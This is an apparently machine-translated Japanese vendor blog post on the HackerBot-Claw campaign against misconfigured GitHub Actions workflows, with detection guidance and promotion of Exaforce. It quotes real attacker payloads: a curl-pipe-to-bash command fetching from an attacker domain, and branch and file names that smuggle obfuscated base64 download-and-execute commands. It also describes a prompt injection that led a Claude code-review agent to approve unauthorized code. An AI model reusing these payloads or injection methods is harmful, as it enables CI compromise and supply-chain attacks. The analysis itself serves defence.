ターゲット:GitHub リポジトリー
GitHubは、ソフトウェアの構築、テスト、出荷の方法を制御するためのSaaSコントロールプレーンになりつつあります。そのため、GitHubは開発者だけの問題ではなく、SOCの可視性の問題となっています。防御側が GitHub Actions、トークン、ワークフロー権限、自動コメントの内部で何が起こっているかを把握できなければ、攻撃者が「プルリクエストを開いた」状態から「ビルド環境内でコマンドを実行している」に移行する瞬間を見逃してしまいます。この背後にある戦術はまったく新しいものではありません。スクリプトインジェクション、トークンの盗難、サプライチェーンの悪用は何年も前から行われています。AI が変えるのはスピードと規模です。ボットは何千ものリポジトリをスキャンし、複数のエクスプロイトパスを試し、迅速に反復処理を行い、24 時間 365 日稼働し続けることができます。1 つの設定ミスが、人間が気付く前に多くのターゲットで繰り返し悪用される可能性があるため、この組み合わせによって影響が拡大します。
ザの ハッカーボットクローキャンペーン はこの影響のわかりやすい例で、自律的な攻撃者が体系的にGitHubワークフローの弱点を調査し、実際の実行をトリガーし、場合によっては変更をプッシュするために使用される可能性のある認証情報（CIパイプラインが実行する悪意のあるコードを含む）を盗みました。
ハッカーボットクローとは?
HackerBot-Clawは、「自律的なセキュリティリサーチエージェント」と自称するGitHubアカウント（現在は削除されています）で、複数のパブリックリポジトリにわたって誤って構成されたGitHub Actionsワークフローを対象とする自動キャンペーンを実行していることが確認されました。目的は、GitHub Actions ランナー環境内でリモートコードが実行されるような方法で CI ジョブをトリガーすることと、場合によっては権限のある GitHub 認証情報 (書き込み可能なトークンなど) を盗むことでした。
要約すると、このエクスプロイトは目的を達成するために次の 3 つのメカニズムを利用しました。
- 外部からの信頼できない入力 (プルリクエスト、ブランチ名、ファイル名、コメントコマンドなど) が CI システムによって実行される可能性がある GitHub Actions の設定を体系的に探しました。
- ワークフローランナーにペイロード（一般的には「このスクリプトをダウンロードして実行する」コマンド）を実行させるためにさまざまな手法を繰り返し試し、そのランナー環境からシークレットまたはトークンを抽出しようとしました。
- キャンペーンの記事では、書き込み権限によるトークンの盗難とリポジトリ侵害の結果が複数報告されています。その中には、認証情報の盗難とそれに続くアクションの後にリポジトリ全体が侵害されたというTrivy事件も含まれています。
リスクの技術的内訳
キャンペーンは7日間（2026年2月21日から2月28日）実施され、有名なオープンソースのパブリックリポジトリを対象としました。このキャンペーンは、外部のコントリビューターからの信頼できないユーザー入力をワークフローがトリガーして受け入れることを可能にする一般的な GitHub Actions の機能を悪用し、コード実行や認証情報の流出につながりました。
キャンペーン全体を通して、多くのリポジトリがスキャンされ、少なくとも7つが攻撃され、5つの既知のGitHub攻撃手法が使用されたと推定されています。
- ペンリクエスト -GitHub Actions の脆弱性を悪用して、寄稿者のソースに関係なく、昇格された権限でワークフローを実行できます。
- ダイレクト・スクリプト・インジェクション -プルリクエストがトリガーされたときにワークフローによって自動的に実行されるプロジェクトのコード内の実行スクリプトを変更します。
- ファイル名またはブランチ名へのペイロード注入 -プッシュされたファイルまたはブランチの名前にコマンドを挿入し、後でGitHub Actionで取得して使用する。
- AI プロンプトインジェクション -LLMエージェントに送信された指示を修正し、エージェントのソーシャルエンジニアリングを効果的に実行します。
攻撃 1: プルリクエストを昇格された権限で自動マージ プルリクエストターゲット
この攻撃では ペンリクエスト 攻撃技法。コントリビューターに関係なく、プルリクエストで自動的にワークフローを実行できます。権限が昇格している場合もあります。この攻撃は、GitHub Actions で設定された GitHub トリガーを悪用して悪質なコードを注入し、GitHub Actions 環境内で実行します。これにより、GitHub Actions トークンが漏洩する可能性があります。
プルリクエストターゲットworkflowissue_comment課題ディスカッション_コメントディスカッションフォーク腕時計
ハッカーボットが使用したのは プルリクエストターゲット 少なくとも 2 つの攻撃をトリガーします。1 つは Go スクリプトが注入された avelino/awesome-go に対する攻撃、もう 1 つは aquasecurity/trivy に対する攻撃で、承認なしにコードのプッシュに使用された最初のトークンを盗むことができます。アップロードされたコードは Go という名前の Go ファイルでした。 main.go、に配置 .github/スクリプト プルリクエストのマージ中に実行されたディレクトリ。
アヴェリーノ/awesome-goの場合、ワークフロー（pr-quality-check.yaml）が含まれているだけでなく プルリクエストターゲット トリガーだけでなく、品質チェックステップが成功した場合に承認なしでマージできる自動マージステップも含まれています。
on:
pull_request_target:
--snip--
auto-merge:
name: Enable auto-merge
needs: [quality, report]
if: always() && needs.quality.result == 'success' && needs.report.result == 'success'
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
--snip--攻撃を検知する
プルリクエストは以下を生成します プルリクエスト作成 ターゲットリポジトリ上のイベント。hackerbot-claw (hackerbot-claw-exaforce、テスト用に作成したサンプルリポジトリ) をリクエスト元の ID として使用します。PR イベントには、悪用されたリポジトリ、リクエスト元の ID (名前と ID の両方)、プルリクエストのタイトル、URL、ID が含まれます。
--snip--
action pull_request.create
actor hackerbot-claw-exaforce
actor_id 266826826
public_repo true
pull_request_id 3379376883
pull_request_title Update README.md
pull_request_url <https://github.com/Exaforce/vulnerable_repo/pull/1>
repo Exaforce/vulnerable_repo
user hackerbot-claw-exaforce
--snip--次に生成されるイベントは環境作成です (環境.作成) を選択すると、ワークフローとそのスクリプトが実行される環境が作成されます。その後、ワークフローが正常に実行されると、 ワークフロー.完了_ワークフロー_実行 イベントが返されます。そうでない場合、エラーは失敗の理由を示します。
の組み合わせ プルリクエスト作成 → 環境.作成 hackerbot-claw がリクエスト元の ID であるイベントは、hackerbot-claw が脆弱なワークフローのあるリポジトリをターゲットにしていて、そのワークフローが開始されたことを示している可能性があります。A ワークフロー.完了_ワークフロー_実行 イベントは、ワークフローが正常に完了したことを確認します。
以下のスクリーンショット（Exaforceから）は、この一連のイベントを示しています-
また、ワークフローには複数の実行ステップが含まれており、悪意のあるステップはそのうちの 1 つにすぎないことにも注意してください。このワークフローは、悪意のあるステップを正常に実行しても、後の段階で失敗することがあります。そうすると、次の段階では実行できなくなります。 ワークフロー.完了_ワークフロー_実行 イベントが生成されていません。
攻撃 2: ワークフローによって自動的にトリガーされる直接スクリプト注入
の場合 プロジェクト-アクリ/アクリ、ワークフロー オートバンプバージョン <minor | major | patch>には、プルリクエストのコメント本文に /version という文字列が含まれている場合に実行されるロジックが含まれています。この条件が満たされると、スクリプト version.sh がさまざまなパラメーターで実行されます。
name: Auto Bump Versions
on:
pull_request:
types: [created, edited]
jobs:
build:
if: github.event.issue.pull_request && contains(github.event.comment.body, '/version')
runs-on: ubuntu-latest
steps:
- name: Update version minor
if: contains(github.event.comment.body, '/version minor')
run: |
./version.sh -u -n
echo "BUMP_TYPE=minor" >> $GITHUB_ENV
- name: Update version major
if: contains(github.event.comment.body, '/version major')
run: |
./version.sh -u -m
echo "BUMP_TYPE=major" >> $GITHUB_ENV
- name: Update version patch
if: contains(github.event.comment.body, '/version patch')
run: |
./version.sh -u -p
echo "BUMP_TYPE=patch" >> $GITHUB_ENV攻撃者はバージョンファイルを次のように変更しました。 curl-SSfL https://hackmoltrepeat.com/molt | bashその後、プルリクエストを送信してワークフローを効果的にトリガーし、攻撃者のエンドポイントであるhackmoltrepeat.comから提供されたMoltファイルを実行しました。
攻撃を検知する
この攻撃の検出は、前の攻撃の検出と似ています。リクエスト元の ID は hackerbot-claw なので、識別は プルリクエスト作成 イベントは、Hackerbot がリポジトリをターゲットにしたことを示している可能性があります。と 環境.作成 イベントでは、ワークフローが開始されたことをさらに確認できます。
攻撃 3: 式構文名注入
Microsoft/ai-discovery-agent と RustPython/RustPython のどちらでも、ワークフローはブランチ名を式構文の中にラップします ($ {{}}) ワークフローの他の部分で再利用することもできます。Datadog/Datadog-IAC-Scanner は、これを使ってプッシュされているファイルをチェックしました。
セキュリティに関するヒント: ワークフローでは、式構文がその中に含まれるコードを実行するので、これはお勧めできません。これらの式の中にあるデータはすべて信頼できない入力と見なすべきです。外部ユーザーには、式の構文内で使用できる変数を入力させないでください。
Hackerbot は、この安全でない手法を悪用して、ワークフローでの変数の使用方法に応じて、ブランチ名またはコミットされたファイル名に悪意のあるペイロードを埋め込んだプルリクエストを送信します。ペイロードには通常、攻撃者が制御するエンドポイントからコマンドファイルを取得して実行するための curl コマンドが追加されます。
3 つのリポジトリすべてで、一貫した要素の 1 つは次の使用でした。 $ {IFS} ペイロードをスペースを含まない単一の文字列として構築します。ブランチ名には通常のブランチプレフィックス (dev や main など) の後にペイロードが続き、コマンド置換 () を使用します。$ ()) で括弧内のコマンドを実行します。
- にとって マイクロソフト/AI ディスカバリーエージェント、ペイロードには、Bashシェルにパイプされた少し難読化されたcurlコマンドが含まれていました。
dev$ ({curl,-ssfL, hackmoltrepeat.com/molt} $ {IFS} |$ {IFS} bash) - にとって ラスト・パイソン/ラスト・パイソン、ペイロードはBase64でエンコードされたコマンドで、デコードされてからBashにパイプされました。
main$ (echo$ {IFS} Y3VYBCATC1NMTCBODHRWCZOVL2HY2TTB2X0cmvwzwf0lmnvbs9TB3VSDCB8IGJHC2G|base64$ {IFS}-d|bash) - で データドッグ/データドグ IAC スキャナー攻撃者は、コマンド置換で囲まれたペイロードを含むファイル名の Markdown ファイルをプッシュしました。このペイロードには再び、スクリプトをダウンロードして Bash にパイプする Base64 でエンコードされたコマンドが含まれています。
$ (echo$ {IFS} y3vybcatc1nmtcBoywnr...$ {IFS} |$ {IFS} base64$ {IFS}-d$ {IFS} |$ {IFS} bash) .md
攻撃を検知する
難読化は非常に単純なものから非常に複雑なものまでさまざまであるため、難読化されたコマンドインジェクションの検出は、この分野で最も予測不可能な課題の1つです。ファイル名とブランチ名は文字列として扱われ、GitHub は使用できる文字について非常に寛容なので、文字列のどの部分も難読化される可能性があります。場合によっては、難読化処理をネストすることもできます。
ただし、この場合、いくつかのパターンが見られます。
- の使い方
$ {IFS}スペースの代わりとして - コマンド置換の使用 (
$ ()) - の使い方
バッシュパイプされたコマンドを受け取るシェルとして - の使い方
base64$ {IFS}-dBase64 でエンコードされたペイロードをデコードするには
以下のスクリーンショットは、ExaforceがGitHubでのこの不審なアクティビティをキャプチャしているところを示しています
また、よりカスタマイズされた検出に使用できる微妙な違いもあります。たとえば、2 つのケースでは、文字列 bulk が該当します。 |$ {IFS} バッシュ 表示され、別のケースでは単独で表示されます。IFS を連続して使用する例もあります。 $ {IFS} |$ {IFS}。ただし、特定しすぎると脆弱性が生じやすくなり、迂回が容易になる可能性があるため、一般的にはより広範な動作パターンに焦点を当てる方が適切です。
攻撃 4: LLM ソーシャル・エンジニアリング
ファイナルアタックは面白くて斬新でした。リポジトリのアンビエントコード/プラットフォームは クロード・エムディ LLM が実行する必要のあるタスクに関するコンテキストを導き出すために、LLM の指示ファイルとしてファイルを作成します。
Hackerbotは、Bashファイルに不正なコードをコミットしてプッシュし、偽のPR承認コマンドを投稿し、プロンプトインジェクションがどのように機能したかを説明するようにエージェントに指示するPRを提出しました README ファイル。リポジトリの Amber 自動コードレビューワークフローでは、 プルリクエストターゲット トリガーしてレバレッジをかけた クロード・エムディ ファイルを使用して、Claude に書き込み権限のあるリポジトリへのアクセス権を付与します。この設定を悪用し、プロンプト・インジェクションによって LLM を説得することで、攻撃者は Claude を操ってリポジトリに不正なコードを挿入させることができました。
jobs:
amber-review:
if: github.event.pull_request.head.repo.full_name == github.repository
runs-on: ubuntu-latest
permissions:
contents: write
pull-requests: write
issues: write
id-token: write
actions: read攻撃を検知する
このワークフローは、最初の攻撃と同様に使用されました プルリクエストターゲット 上位の権限でワークフロータスクを実行できます。2 回目の攻撃と同様に、ワークフローにコマンドを挿入して特定のタスクを実行するように既存のコードを変更しました。ただし、この場合の目的は、ワークフロートークンを盗み出すことではなく、リポジトリ内の不正なコードを承認することでした。
学んだ教訓
hackerbot-clawから得た教訓は、GitHubがソフトウェアの構築と出荷の方法における信頼性の高い運用層になったということです。そのため、小さな構成の選択でも静かに大きなセキュリティ上の成果を生み出すことができます。可視性が薄い場合、セキュリティチームは、攻撃者が「ビルドの起動」から「出荷するものの変更」までの境界線をすでに越えて初めて、何かがおかしくなったことに気付きます。
hackerbot-clawのようなキャンペーンが機能する場合、「爆発範囲」は1回のワークフローの実行に限定されません。本当の危険は、CI の実行からリポジトリ制御への引き継ぎです。書き込み可能なトークンが盗まれると、PR がトリガーした 1 回の実行が、人間のレビュアーが点と点を結ぶ前に、コード変更、リリースの改ざん、ダウンストリームのサプライチェーンのリスクにつながる可能性があります。
この攻撃チェーンが成功すると、1回のワークフローの実行では被害が大きくなります。盗まれた CI 認証情報は、不正なコミットをプッシュしたり、リポジトリ保護を弱めたり、リリースを削除または置換したり、下流のチームが自動的にプルする可能性のある改ざんされたアーティファクトの公開に使用されたりする可能性があります。攻撃者はもはや「CIの中」ではなく、信頼できるソフトウェアが生産され配布される記録システムの中にいるため、短期間のビルドイベントがサプライチェーンのイベントになるのはそのためです。
これがSOCプラットフォームでのSaaS検出の必要性を後押しする理由
これらのアクションは、表面上は通常の GitHub アクティビティのように見えることがよくあります。コミットがプッシュされます。設定が変わる。リリースが削除されます。誰がワークフローをトリガーしたのか、どのような権限で実行されたのか、どのトークンがアクセスされたのか、その直後に何が起こったのかを SaaS ネイティブで可視化できなければ、ほとんどの SOC チームは「日常的な自動化」と「自動化が侵入経路として使用されている」ことを確実に区別できません。違いは順序とコンテキストにあり、そのコンテキストは GitHub Telemetry が監視され、他の SOC シグナルと関連付けられている場合にのみ明らかになります。
SOC チームにとって実践的なポイントは簡単です。 GitHub テレメトリは ID やクラウドテレメトリと同様に扱う必要があり、検出は自動化が権限になる移行点に焦点を当てる必要があります。
エクサフォースの自動検出
なぜGitHubの可視性がSOCに属しているのか、ハッカーボットクローが説明してくれました。Exaforce は、GitHub のアクティビティをエンドツーエンドで調査可能で相互に関連付けることができるようにすることで、可視性のギャップを埋めます。これにより、自動化された CI の悪用は、リポジトリの乗っ取りやサプライチェーンへの影響につながる前に早期に発見されます。
Exaforceはまさにこのようなギャップに対応するように構築されています。Exaforce は、ID、自動化、特権トークンのすべてが衝突する GitHub のような SaaS コントロールプレーンを悪用して、もはやエンドポイントやネットワークにきちんと収まっていない最新の攻撃を検出できます。ハッカーボットクロー型のインシデントでは、SOCの問題は、「誰がワークフローをトリガーしたか」、「CI内で何が実行されたか」、「どのトークンが使用されたか」、「その後リポジトリで何が変更されたか」を迅速に結び付けることです。これは、Exaforceが行うように設計されている種類のクロスシグナル相関です。
Exaforceは、リソースとイベントを結び付けることで、GitHubを含むクラウドIaaS、PaaS、SaaS環境で発生する上記のようなリスクや攻撃の試みをよりよく理解できるようにすることで、脅威ハンティングと検出を簡素化します。
脆弱なワークフローの発見
脆弱なワークフローを特定するには、GitHub で検索する必要があります プルリクエストターゲット での使い方 .github/ワークフロー 特定の組織のディレクトリ。Exaforce はこの情報を収集し、以下を含む GitHub ワークフローのリストを提供します。 プルリクエストターゲット フィールドであるため、脆弱になる可能性があります。
エクサフォースのカスタム脅威ルール
Exaforce Automated Detectionを使用すると、ユーザーはイベントをグループ化し、定義された条件下で指定された重大度レベルで脅威検出をトリガーできます。
このようなシナリオでは、カスタム検出を簡単に作成する方法が非常に重要になります。時間は非常に重要です。Exaforceでは、自然言語ベースのシンプルなカスタム脅威ルールを作成できるため、時間を節約できます。以下の画像は、私たちがハッカーボットの爪を検知するために何をしたかを示しています。
イベントがルールをトリガーすると、潜在的な攻撃に関するアラートが生成され、アナリストはインシデントを確認して優先順位を付けることができます。
Exaforce MDR: 最も重要な場合のための追加サポート
Exaforce MDRは、攻撃がアナリストのレビューサイクルよりも速く進むこのような場合に備えて、第2の防衛線を追加します。内部チームはまだ何が起こったのかを検証中ですが、MDRチームはすでに、IDとSaaSアクティビティ全体でリスクの高いシグナルを監視し、重要なものをトリアージし、最初の封じ込めステップを導いています。これにより、疑わしいワークフローが1回実行されただけで、リポジトリ管理やサプライチェーンインシデントに発展することがありません。
その価値は、SOCチームに余裕と安心感を与えることです。お客様には、専門家チームが実際の影響を示すシーケンスを探し、対象範囲を迅速に確認し、アクセスの強化や公開された認証情報のローテーションなどの実践的な衛生対策を推進し、エンジニアリングリーダーやセキュリティリーダーが事実を正確に把握している間、状況が一丸となって避難訓練に終わることを防ぐことができます。
閉会の挨拶
これは、残念ながらも興味深い一連の攻撃でした。積極的に環境を標的にしているボットの存在は、私たちの分野が脅威環境において経験している変化を浮き彫りにしています。今日よく見かけるプログラマティック・ボットに似た AI 主導のボットが、脆弱なシステムを大規模にクロール、スキャン、標的にし始めるのは時間の問題でしょう。
また、このボットはゼロデイ攻撃を一切行わず、フィッシングに頼らず、コマンドをあまり難読化していなかったことを認識しておくことも重要です。その代わり、比較的シンプルな手法でよく知られた不正行為を悪用し、標的を危険にさらしただけでした。これは、特に公開されているリソースに対する攻撃を保護し、検出するためにはまだ多くの作業が必要であることを示しています。
普通に見えるアクティビティにリスクがないとは限りません。最も重大な脅威の中には、正当と思われる行動の中に隠れているものもあります。SaaS アプリケーションはますます現代の攻撃の最前線に立つようになっていますが、ほとんどの SOC プラットフォームは SaaS 環境に対する強力な検出範囲をまだ備えていません。Exaforceでは、ほとんどのアップストリームの検出エンジンが見逃すようなシナリオに対応できるよう、社内で検出機能を提供しています。
